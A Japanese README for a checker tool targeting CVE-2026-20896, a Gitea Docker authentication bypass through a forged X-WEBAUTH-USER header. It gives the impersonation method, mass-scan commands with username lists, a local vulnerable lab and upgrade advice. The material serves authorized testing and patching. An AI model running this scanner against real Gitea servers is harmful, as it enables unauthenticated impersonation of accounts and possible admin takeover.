
CVE-2026-20896 Gitea Docker X-WEBAUTH-USER 認証バイパスチェッカー
認可されたレッドチーム / ペンテスト運用のみ。
このリポジトリには、CVE-2026-20896 用の最小限のチェッカーが含まれています。これは、リバースプロキシ認証が有効な場合に、公式 Gitea Docker イメージ(1.26.2 までを含む)における認証バイパスです。
影響を受ける Gitea Docker イメージには、以下の app.ini テンプレートが同梱されていました:
REVERSE_PROXY_TRUSTED_PROXIES = *
管理者が以下を有効にした場合:
ENABLE_REVERSE_PROXY_AUTHENTICATION = true
Gitea は、コンテナの HTTP ポートに直接到達できる任意の送信元 IP からの X-WEBAUTH-USER を信頼していました。意図された認証リバースプロキシをバイパスしたクライアントは、単一のヘッダーを送信するだけで、既知または推測可能なユーザーになりすますことができました。
現実的な影響は、認証なしのアカウントなりすましです。推測したユーザーが管理者である場合、最悪のケースでは Gitea インスタンスとそのリポジトリの完全なアプリケーションレベル乗っ取りに至ります。ホスト上の RCE は環境に依存し、このチェッカーでは主張していません。
修正版は 1.26.3 以降です。1.26.4 以上へのアップグレードが推奨されます。
チェッカーは以下の処理を行います:
Powered by Gitea Version: 1.26.4 のようなフッターテキストを探します。>= 1.26.3 の場合、デフォルトでテストをスキップします。X-WEBAUTH-USER: <username> を含む GET / リクエストを送信します。Go 版は、複数ターゲット、ユーザー名ファイル、並行処理、タイムアウト、JSONL 出力、TLS --insecure、--dry-run、--force をサポートしています。
go build -o gitea-cve-2026-20896-check .
サードパーティの Go 依存関係は不要です。
単一ターゲット:
./gitea-cve-2026-20896-check \
--url http://localhost:3000 \
--users admin,gitea_admin,alice
複数ターゲットとユーザー名:
./gitea-cve-2026-20896-check \
--targets targets.txt \
--user-file users.txt \
--concurrency 64 \
--timeout 8s \
--jsonl
ドライラン:
./gitea-cve-2026-20896-check \
--url http://localhost:3000 \
--users admin,alice \
--dry-run
Bash フォールバック:
./poc.sh --url http://localhost:3000 --users admin,alice
0: 脆弱ななりすましが少なくとも 1 件確認された1: 脆弱ななりすましが確認されなかった2: 使用方法、入力、または実行時エラー以下のラボは、影響を受けるローカル Gitea コンテナを起動し、テストユーザーを作成します:
docker run -d --name gitea-cve-2026-20896 \
-p 127.0.0.1:3000:3000 \
-e GITEA__service__ENABLE_REVERSE_PROXY_AUTHENTICATION=true \
-e GITEA__security__INSTALL_LOCK=true \
gitea/gitea:1.26.2
sleep 15
docker exec --user git gitea-cve-2026-20896 gitea admin user create \
--username alice \
--password 'longpasswordhere1234' \
--email [email protected] \
--must-change-password=false
./gitea-cve-2026-20896-check --url http://localhost:3000 --users bob,alice,admin
期待される陽性結果:
[VULNERABLE] http://localhost:3000 user=alice title="alice - Dashboard - Gitea: Git with a cup of tea"
クリーンアップ:
docker rm -f gitea-cve-2026-20896
1.26.3 以上にアップグレードしてください。1.26.4 以上が推奨されます。1.26.3 / 1.26.4 のリリースノート: https://blog.gitea.com/release-of-1.26.3-and-1.26.4/